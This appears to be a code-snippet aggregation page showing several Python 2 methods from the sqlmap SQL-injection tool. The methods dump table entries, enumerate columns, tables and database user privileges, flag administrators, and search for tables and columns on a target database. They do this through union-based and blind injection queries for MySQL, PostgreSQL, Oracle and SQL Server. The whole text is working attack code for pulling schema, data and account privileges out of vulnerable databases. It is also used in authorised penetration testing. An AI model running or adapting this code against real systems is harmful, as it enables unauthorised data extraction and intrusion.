                    elif kb.dbms == "Microsoft SQL Server":
                        query = rootQuery["blind"]["query"] % (column, conf.db,
                                                               conf.tbl, column,
                                                               index, column,
                                                               conf.db, conf.tbl)

                    value = inject.getValue(query, inband=False)

                    lengths[column] = max(lengths[column], len(value))
                    entries[column].append(value)

            for column, columnEntries in entries.items():
                if lengths[column] < len(column):
                    length = len(column)
                else:
                    length = lengths[column]

                self.dumpedTable[column] = {
                                             "length": length,
                                             "values": columnEntries,
                                           }

                entriesCount = len(columnEntries)

        if self.dumpedTable:
            self.dumpedTable["__infos__"] = {
                                              "count": entriesCount,
                                              "table": conf.tbl,
                                              "db":    conf.db
                                            }
        else:
            errMsg = "unable to retrieve the entries of "
            if conf.col:
                errMsg += "columns '%s' " % colString
            errMsg += "for table '%s' " % conf.tbl
            errMsg += "on database '%s'" % conf.db

            if conf.dumpAll:
                logger.warn(errMsg)
                return self.dumpedTable
            else:
                raise sqlmapNoneDataException, errMsg

        return self.dumpedTable
Example #12
0
    def getColumns(self, onlyColNames=False):
        if kb.dbms == "MySQL" and not self.has_information_schema:
            errMsg  = "information_schema not available, "
            errMsg += "back-end DBMS is MySQL < 5.0"
            raise sqlmapUnsupportedFeatureException, errMsg

        if not conf.tbl:
            errMsg = "missing table parameter"
            raise sqlmapMissingMandatoryOptionException, errMsg

        if "." in conf.tbl:
            conf.db, conf.tbl = conf.tbl.split(".")

        self.forceDbmsEnum()

        if not conf.db:
            warnMsg  = "missing database parameter, sqlmap is going to "
            warnMsg += "use the current database to enumerate table "
            warnMsg += "'%s' columns" % conf.tbl
            logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

        infoMsg  = "fetching columns "
        infoMsg += "for table '%s' " % conf.tbl
        infoMsg += "on database '%s'" % conf.db
        logger.info(infoMsg)

        rootQuery = queries[kb.dbms].columns

        if conf.unionUse:
            if kb.dbms in ( "MySQL", "PostgreSQL" ):
                query = rootQuery["inband"]["query"] % (conf.tbl, conf.db)
            elif kb.dbms == "Oracle":
                query = rootQuery["inband"]["query"] % conf.tbl.upper()
            elif kb.dbms == "Microsoft SQL Server":
                query = rootQuery["inband"]["query"] % (conf.db, conf.db,
                                                        conf.db, conf.db,
                                                        conf.db, conf.db,
                                                        conf.db, conf.tbl)

            value = inject.getValue(query, blind=False)

            if value:
                table = {}
                columns = {}
                for column, colType in value:
                    columns[column] = colType
                table[conf.tbl] = columns
                self.cachedColumns[conf.db] = table

        if not self.cachedColumns:
            infoMsg  = "fetching number of columns "
            infoMsg += "for table '%s'" % conf.tbl
            infoMsg += " on database '%s'" % conf.db
            logger.info(infoMsg)

            if kb.dbms in ( "MySQL", "PostgreSQL" ):
                query = rootQuery["blind"]["count"] % (conf.tbl, conf.db)
            elif kb.dbms == "Oracle":
                query = rootQuery["blind"]["count"] % conf.tbl.upper()
            elif kb.dbms == "Microsoft SQL Server":
                query = rootQuery["blind"]["count"] % (conf.db, conf.db, conf.tbl)

            count = inject.getValue(query, inband=False, expected="int")

            if not count.isdigit() or not len(count) or count == "0":
                errMsg  = "unable to retrieve the number of columns "
                errMsg += "for table '%s' " % conf.tbl
                errMsg += "on database '%s'" % conf.db
                raise sqlmapNoneDataException, errMsg

            if kb.dbms == "Microsoft SQL Server":
                plusOne = True
            else:
                plusOne = False

            table      = {}
            columns    = {}
            indexRange = getRange(count, plusOne=plusOne)

            for index in indexRange:
                if kb.dbms in ( "MySQL", "PostgreSQL" ):
                    query = rootQuery["blind"]["query"] % (conf.tbl, conf.db, index)
                elif kb.dbms == "Oracle":
                    query = rootQuery["blind"]["query"] % (conf.tbl.upper(), index)
                elif kb.dbms == "Microsoft SQL Server":
                    query = rootQuery["blind"]["query"] % (index, conf.db,
                                                           conf.db, conf.tbl)

                column = inject.getValue(query, inband=False)

                if not onlyColNames:
                    if kb.dbms in ( "MySQL", "PostgreSQL" ):
                        query = rootQuery["blind"]["query2"] % (conf.tbl, column, conf.db)
                    elif kb.dbms == "Oracle":
                        query = rootQuery["blind"]["query2"] % (conf.tbl.upper(), column)
                    elif kb.dbms == "Microsoft SQL Server":
                        query = rootQuery["blind"]["query2"] % (conf.db, conf.db, conf.db,
                                                                conf.db, column, conf.db,
                                                                conf.db, conf.db, conf.tbl)

                    colType = inject.getValue(query, inband=False)
                    columns[column] = colType
                else:
                    columns[column] = None

            if columns:
                table[conf.tbl] = columns
                self.cachedColumns[conf.db] = table

        if not self.cachedColumns:
            errMsg  = "unable to retrieve the columns "
            errMsg += "for table '%s' " % conf.tbl
            errMsg += "on database '%s'" % conf.db
            raise sqlmapNoneDataException, errMsg

        return self.cachedColumns
Example #13
0
    def getTables(self):
        if kb.dbms == "MySQL" and not self.has_information_schema:
            errMsg  = "information_schema not available, "
            errMsg += "back-end DBMS is MySQL < 5.0"
            raise sqlmapUnsupportedFeatureException, errMsg

        self.forceDbmsEnum()

        infoMsg = "fetching tables"
        if conf.db:
            infoMsg += " for database '%s'" % conf.db
        logger.info(infoMsg)

        rootQuery = queries[kb.dbms].tables

        if conf.unionUse:
            query = rootQuery["inband"]["query"]
            condition = rootQuery["inband"]["condition"]

            if conf.db:
                if "," in conf.db:
                    dbs = conf.db.split(",")
                    query += " WHERE "
                    query += " OR ".join("%s = '%s'" % (condition, db) for db in dbs)
                else:
                    query += " WHERE %s='%s'" % (condition, conf.db)
            elif conf.excludeSysDbs:
                query += " WHERE "
                query += " AND ".join("%s != '%s'" % (condition, db) for db in self.excludeDbsList)
                infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
                logger.info(infoMsg)

            value = inject.getValue(query, blind=False)

            if value:
                for db, table in value:
                    if not self.cachedTables.has_key(db):
                        self.cachedTables[db] = [table]
                    else:
                        self.cachedTables[db].append(table)

        if not self.cachedTables:
            if conf.db:
                if "," in conf.db:
                    dbs = conf.db.split(",")
                else:
                    dbs = [conf.db]
            else:
                if not len(self.cachedDbs):
                    dbs = self.getDbs()
                else:
                    dbs = self.cachedDbs

            for db in dbs:
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % db
                    logger.info(infoMsg)

                    continue

                infoMsg  = "fetching number of tables for "
                infoMsg += "database '%s'" % db
                logger.info(infoMsg)

                query = rootQuery["blind"]["count"] % db
                count = inject.getValue(query, inband=False, expected="int")

                if not count.isdigit() or not len(count) or count == "0":
                    warnMsg  = "unable to retrieve the number of "
                    warnMsg += "tables for database '%s'" % db
                    logger.warn(warnMsg)
                    continue

                tables     = []
                indexRange = getRange(count)

                for index in indexRange:
                    query = rootQuery["blind"]["query"] % (db, index)
                    table = inject.getValue(query, inband=False)
                    tables.append(table)

                if tables:
                    self.cachedTables[db] = tables
                else:
                    warnMsg  = "unable to retrieve the tables "
                    warnMsg += "for database '%s'" % db
                    logger.warn(warnMsg)

        if not self.cachedTables:
            errMsg = "unable to retrieve the tables for any database"
            raise sqlmapNoneDataException, errMsg

        return self.cachedTables
Example #14
0
    def getPrivileges(self):
        infoMsg = "fetching database users privileges"

        rootQuery = queries[kb.dbms].privileges

        if conf.user == "CU":
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        # Set containing the list of DBMS administrators
        areAdmins = set()

        mysqlPrivs = (
                        ( 1, "select_priv" ),
                        ( 2, "insert_priv" ),
                        ( 3, "update_priv" ),
                        ( 4, "delete_priv" ),
                        ( 5, "create_priv" ),
                        ( 6, "drop_priv" ),
                        ( 7, "reload_priv" ),
                        ( 8, "shutdown_priv" ),
                        ( 9, "process_priv" ),
                        ( 10, "file_priv" ),
                        ( 11, "grant_priv" ),
                        ( 12, "references_priv" ),
                        ( 13, "index_priv" ),
                        ( 14, "alter_priv" ),
                        ( 15, "show_db_priv" ),
                        ( 16, "super_priv" ),
                        ( 17, "create_tmp_table_priv" ),
                        ( 18, "lock_tables_priv" ),
                        ( 19, "execute_priv" ),
                        ( 20, "repl_slave_priv" ),
                        ( 21, "repl_client_priv" ),
                        ( 22, "create_view_priv" ),
                        ( 23, "show_view_priv" ),
                        ( 24, "create_routine_priv" ),
                        ( 25, "alter_routine_priv" ),
                        ( 26, "create_user_priv" ),
                     )

        pgsqlPrivs = (
                        ( 1, "createdb" ),
                        ( 2, "super" ),
                        ( 3, "catupd" ),
                     )

        if conf.unionUse:
            if kb.dbms == "MySQL" and not self.has_information_schema:
                query     = rootQuery["inband"]["query2"]
                condition = rootQuery["inband"]["condition2"]
            else:
                query     = rootQuery["inband"]["query"]
                condition = rootQuery["inband"]["condition"]

            if conf.user:
                if "," in conf.user:
                    users = conf.user.split(",")
                    query += " WHERE "
                    # NOTE: I assume that the user provided is not in
                    # MySQL >= 5.0 syntax 'user'@'host'
                    if kb.dbms == "MySQL" and self.has_information_schema:
                        queryUser = "******" + conf.user + "%"
                        query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users)
                    else:
                        query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
                else:
                    # NOTE: I assume that the user provided is not in
                    # MySQL >= 5.0 syntax 'user'@'host'
                    if kb.dbms == "MySQL" and self.has_information_schema:
                        queryUser = "******" + conf.user + "%"
                        query += " WHERE %s LIKE '%s'" % (condition, queryUser)
                    else:
                        query += " WHERE %s = '%s'" % (condition, conf.user)

            values = inject.getValue(query, blind=False)

            if values:
                for value in values:
                    user       = None
                    privileges = set()

                    for count in xrange(0, len(value)):
                        # The first column is always the username
                        if count == 0:
                            user = value[count]

                        # The other columns are the privileges
                        else:
                            privilege = value[count]

                            # In PostgreSQL we get 1 if the privilege is
                            # True, 0 otherwise
                            if kb.dbms == "PostgreSQL" and privilege.isdigit():
                                for position, pgsqlPriv in pgsqlPrivs:
                                    if count == position and int(privilege) == 1:
                                        privileges.add(pgsqlPriv)

                            # In MySQL >= 5.0 and Oracle we get the list
                            # of privileges as string
                            elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and self.has_information_schema ):
                                privileges.add(privilege)

                            # In MySQL < 5.0 we get Y if the privilege is 
                            # True, N otherwise
                            elif kb.dbms == "MySQL" and not self.has_information_schema:
                                for position, mysqlPriv in mysqlPrivs:
                                    if count == position and privilege.upper() == "Y":
                                        privileges.add(mysqlPriv)

                    if self.__isAdminFromPrivileges(privileges):
                        areAdmins.add(user)

                    if self.cachedUsersPrivileges.has_key(user):
                        self.cachedUsersPrivileges[user].extend(privileges)
                    else:
                        self.cachedUsersPrivileges[user] = list(privileges)

        if not self.cachedUsersPrivileges:
            conditionChar = "="

            if conf.user:
                if kb.dbms == "MySQL" and self.has_information_schema:
                    conditionChar = " LIKE "

                    if "," in conf.user:
                        users = set()
                        for user in conf.user.split(","):
                            users.add("%" + user + "%")
                    else:
                        users = [ "%" + conf.user + "%" ]

                elif "," in conf.user:
                    users = conf.user.split(",")

                else:
                    users = [ conf.user ]

            else:
                if not len(self.cachedUsers):
                    users = self.getUsers()
                else:
                    users = self.cachedUsers

            retrievedUsers = set()

            for user in users:
                unescapedUser = None

                if kb.dbms == "MySQL" and self.has_information_schema:
                    unescapedUser = unescaper.unescape(user, quote=False)

                if user in retrievedUsers:
                    continue

                infoMsg  = "fetching number of privileges "
                infoMsg += "for user '%s'" % user
                logger.info(infoMsg)

                if unescapedUser:
                    queryUser = unescapedUser
                else:
                    queryUser = user

                if kb.dbms == "MySQL" and not self.has_information_schema:
                    query = rootQuery["blind"]["count2"] % queryUser
                elif kb.dbms == "MySQL" and self.has_information_schema:
                    query = rootQuery["blind"]["count"] % (conditionChar, queryUser)
                else:
                    query = rootQuery["blind"]["count"] % queryUser
                count = inject.getValue(query, inband=False, expected="int")

                if not count.isdigit() or not len(count) or count == "0":
                    warnMsg  = "unable to retrieve the number of "
                    warnMsg += "privileges for user '%s'" % user
                    logger.warn(warnMsg)
                    continue

                infoMsg = "fetching privileges for user '%s'" % user
                logger.info(infoMsg)

                privileges = set()
                indexRange = getRange(count)

                for index in indexRange:
                    if kb.dbms == "MySQL" and not self.has_information_schema:
                        query = rootQuery["blind"]["query2"] % (queryUser, index)
                    elif kb.dbms == "MySQL" and self.has_information_schema:
                        query = rootQuery["blind"]["query"] % (conditionChar, queryUser, index)
                    else:
                        query = rootQuery["blind"]["query"] % (queryUser, index)
                    privilege = inject.getValue(query, inband=False)

                    # In PostgreSQL we get 1 if the privilege is True,
                    # 0 otherwise
                    if kb.dbms == "PostgreSQL" and ", " in privilege:
                        privilege = privilege.replace(", ", ",")
                        privs = privilege.split(",")
                        i = 1

                        for priv in privs:
                            if priv.isdigit() and int(priv) == 1:
                                for position, pgsqlPriv in pgsqlPrivs:
                                    if position == i:
                                        privileges.add(pgsqlPriv)

                            i += 1

                    # In MySQL >= 5.0 and Oracle we get the list
                    # of privileges as string
                    elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and self.has_information_schema ):
                        privileges.add(privilege)

                    # In MySQL < 5.0 we get Y if the privilege is 
                    # True, N otherwise
                    elif kb.dbms == "MySQL" and not self.has_information_schema:
                        privilege = privilege.replace(", ", ",")
                        privs = privilege.split(",")
                        i = 1

                        for priv in privs:
                            if priv.upper() == "Y":
                                for position, mysqlPriv in mysqlPrivs:
                                    if position == i:
                                        privileges.add(mysqlPriv)

                            i += 1

                    if self.__isAdminFromPrivileges(privileges):
                        areAdmins.add(user)

                    # In MySQL < 5.0 we break the cycle after the first
                    # time we get the user's privileges otherwise we
                    # duplicate the same query
                    if kb.dbms == "MySQL" and not self.has_information_schema:
                        break

                if privileges:
                    self.cachedUsersPrivileges[user] = list(privileges)
                else:
                    warnMsg  = "unable to retrieve the privileges "
                    warnMsg += "for user '%s'" % user
                    logger.warn(warnMsg)

                retrievedUsers.add(user)

        if not self.cachedUsersPrivileges:
            errMsg  = "unable to retrieve the privileges "
            errMsg += "for the database users"
            raise sqlmapNoneDataException, errMsg

        return ( self.cachedUsersPrivileges, areAdmins )
Example #15
0
    def searchTable(self):
        rootQuery = queries[kb.dbms].search_table
        foundTbls = {}
        tblList = conf.tbl.split(",")
        tblCond = rootQuery.inband.condition
        dbCond = rootQuery.inband.condition2

        tblConsider, tblCondParam = self.likeOrExact("table")

        if not len(kb.data.cachedDbs):
            enumDbs = self.getDbs()
        else:
            enumDbs = kb.data.cachedDbs

        for db in enumDbs:
            foundTbls[db] = []

        for tbl in tblList:
            infoMsg = "searching table"
            if tblConsider == "1":
                infoMsg += "s like"
            infoMsg += " '%s'" % tbl
            logger.info(infoMsg)

            tblQuery = "%s%s" % (tblCond, tblCondParam)
            tblQuery = tblQuery % tbl

            for db in foundTbls.keys():
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % db
                    logger.info(infoMsg)

                    continue

                if kb.unionPosition is not None or conf.direct:
                    query = rootQuery.inband.query % db
                    query += tblQuery
                    values = inject.getValue(query, blind=False, error=False)

                    if values:
                        if isinstance(values, basestring):
                            values = [ values ]

                        for foundTbl in values:
                            foundTbls[db].append(foundTbl)
                else:
                    infoMsg = "fetching number of table"
                    if tblConsider == "1":
                        infoMsg += "s like"
                    infoMsg += " '%s' in database '%s'" % (tbl, db)
                    logger.info(infoMsg)

                    query = rootQuery.blind.count2
                    query = query % db
                    query += " AND %s" % tblQuery
                    count = inject.getValue(query, inband=False, expected="int", charsetType=2)

                    if not count.isdigit() or not len(count) or count == "0":
                        warnMsg = "no table"
                        if tblConsider == "1":
                            warnMsg += "s like"
                        warnMsg += " '%s' " % tbl
                        warnMsg += "in database '%s'" % db
                        logger.warn(warnMsg)

                        continue

                    indexRange = getRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query2
                        query = query % db
                        query += " AND %s" % tblQuery
                        query = agent.limitQuery(index, query, tblCond)
                        tbl = inject.getValue(query, inband=False)
                        kb.hintValue = tbl
                        foundTbls[db].append(tbl)

        for db, tbls in foundTbls.items():
            if len(tbls) == 0:
                foundTbls.pop(db)

        return foundTbls
Example #16
0
    def searchColumn(self):
        rootQuery = queries[kb.dbms].search_column
        foundCols = {}
        dbs = {}
        colList = conf.col.split(",")
        colCond = rootQuery.inband.condition
        colConsider, colCondParam = self.likeOrExact("column")

        if not len(kb.data.cachedDbs):
            enumDbs = self.getDbs()
        else:
            enumDbs = kb.data.cachedDbs

        for db in enumDbs:
            dbs[db] = {}

        for column in colList:
            infoMsg = "searching column"
            if colConsider == "1":
                infoMsg += "s like"
            infoMsg += " '%s'" % column
            logger.info(infoMsg)

            foundCols[column] = {}

            colQuery = "%s%s" % (colCond, colCondParam)
            colQuery = colQuery % column

            for db in dbs.keys():
                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % db
                    logger.info(infoMsg)

                    continue

                if kb.unionPosition is not None or conf.direct:
                    query = rootQuery.inband.query % (db, db, db, db, db)
                    query += " AND %s" % colQuery.replace("[DB]", db)
                    values = inject.getValue(query, blind=False, error=False)

                    if values:
                        if isinstance(values, basestring):
                            values = [ values ]

                        for foundTbl in values:
                            if foundTbl not in dbs[db]:
                                dbs[db][foundTbl] = {}

                            if colConsider == "1":
                                conf.db = db
                                conf.tbl = foundTbl
                                conf.col = column

                                self.getColumns(onlyColNames=True)

                                dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl])
                                kb.data.cachedColumns = {}
                            else:
                                dbs[db][foundTbl][column] = None

                            if db in foundCols[column]:
                                foundCols[column][db].append(foundTbl)
                            else:
                                foundCols[column][db] = [ foundTbl ]
                else:
                    foundCols[column][db] = []

                    infoMsg = "fetching number of tables containing column"
                    if colConsider == "1":
                        infoMsg += "s like"
                    infoMsg += " '%s' in database '%s'" % (column, db)
                    logger.info(infoMsg)

                    query = rootQuery.blind.count2
                    query = query % (db, db, db, db, db)
                    query += " AND %s" % colQuery.replace("[DB]", db)
                    count = inject.getValue(query, inband=False, expected="int", charsetType=2)

                    if not count.isdigit() or not len(count) or count == "0":
                        warnMsg = "no tables contain column"
                        if colConsider == "1":
                            warnMsg += "s like"
                        warnMsg += " '%s' " % column
                        warnMsg += "in database '%s'" % db
                        logger.warn(warnMsg)

                        continue

                    indexRange = getRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query2
                        query = query % (db, db, db, db, db)
                        query += " AND %s" % colQuery.replace("[DB]", db)
                        query = agent.limitQuery(index, query, colCond.replace("[DB]", db))
                        tbl = inject.getValue(query, inband=False)
                        kb.hintValue = tbl

                        if tbl not in dbs[db]:
                            dbs[db][tbl] = {}

                        if colConsider == "1":
                            conf.db = db
                            conf.tbl = tbl
                            conf.col = column

                            self.getColumns(onlyColNames=True)

                            dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
                            kb.data.cachedColumns = {}
                        else:
                            dbs[db][tbl][column] = None

                        foundCols[column][db].append(tbl)

        self.dumpFoundColumn(dbs, foundCols, colConsider)
Example #17
0
    def searchTable(self):
        rootQuery = queries[Backend.getIdentifiedDbms()].search_table
        foundTbls = {}
        tblList = conf.tbl.split(",")
        tblCond = rootQuery.inband.condition
        dbCond = rootQuery.inband.condition2

        tblConsider, tblCondParam = self.likeOrExact("table")

        if not len(kb.data.cachedDbs):
            enumDbs = self.getDbs()
        else:
            enumDbs = kb.data.cachedDbs

        for db in enumDbs:
            if isinstance(db, list):
                db = db[0]

            db = safeSQLIdentificatorNaming(db)
            foundTbls[db] = []

        for tbl in tblList:
            tbl = safeSQLIdentificatorNaming(tbl, True)

            infoMsg = "searching table"
            if tblConsider == "1":
                infoMsg += "s like"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
            logger.info(infoMsg)

            tblQuery = "%s%s" % (tblCond, tblCondParam)
            tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl)

            for db in foundTbls.keys():
                db = safeSQLIdentificatorNaming(db)

                if conf.excludeSysDbs and db in self.excludeDbsList:
                    infoMsg = "skipping system database '%s'" % db
                    logger.info(infoMsg)

                    continue

                if isTechniqueAvailable(
                        PAYLOAD.TECHNIQUE.UNION) or isTechniqueAvailable(
                            PAYLOAD.TECHNIQUE.ERROR) or conf.direct:
                    query = rootQuery.inband.query % db
                    query += tblQuery
                    values = inject.getValue(query, blind=False)

                    if values:
                        if isinstance(values, basestring):
                            values = [values]

                        for foundTbl in values:
                            if foundTbl is None:
                                continue

                            foundTbls[db].append(foundTbl)
                else:
                    infoMsg = "fetching number of table"
                    if tblConsider == "1":
                        infoMsg += "s like"
                    infoMsg += " '%s' in database '%s'" % (
                        unsafeSQLIdentificatorNaming(tbl),
                        unsafeSQLIdentificatorNaming(db))
                    logger.info(infoMsg)

                    query = rootQuery.blind.count2
                    query = query % db
                    query += " AND %s" % tblQuery
                    count = inject.getValue(query,
                                            inband=False,
                                            error=False,
                                            expected=EXPECTED.INT,
                                            charsetType=2)

                    if not isNumPosStrValue(count):
                        warnMsg = "no table"
                        if tblConsider == "1":
                            warnMsg += "s like"
                        warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                            db)
                        logger.warn(warnMsg)

                        continue

                    indexRange = getRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query2
                        query = query % db
                        query += " AND %s" % tblQuery
                        query = agent.limitQuery(index, query, tblCond)
                        tbl = inject.getValue(query, inband=False, error=False)
                        kb.hintValue = tbl
                        foundTbls[db].append(tbl)

        for db, tbls in foundTbls.items():
            if len(tbls) == 0:
                foundTbls.pop(db)

        return foundTbls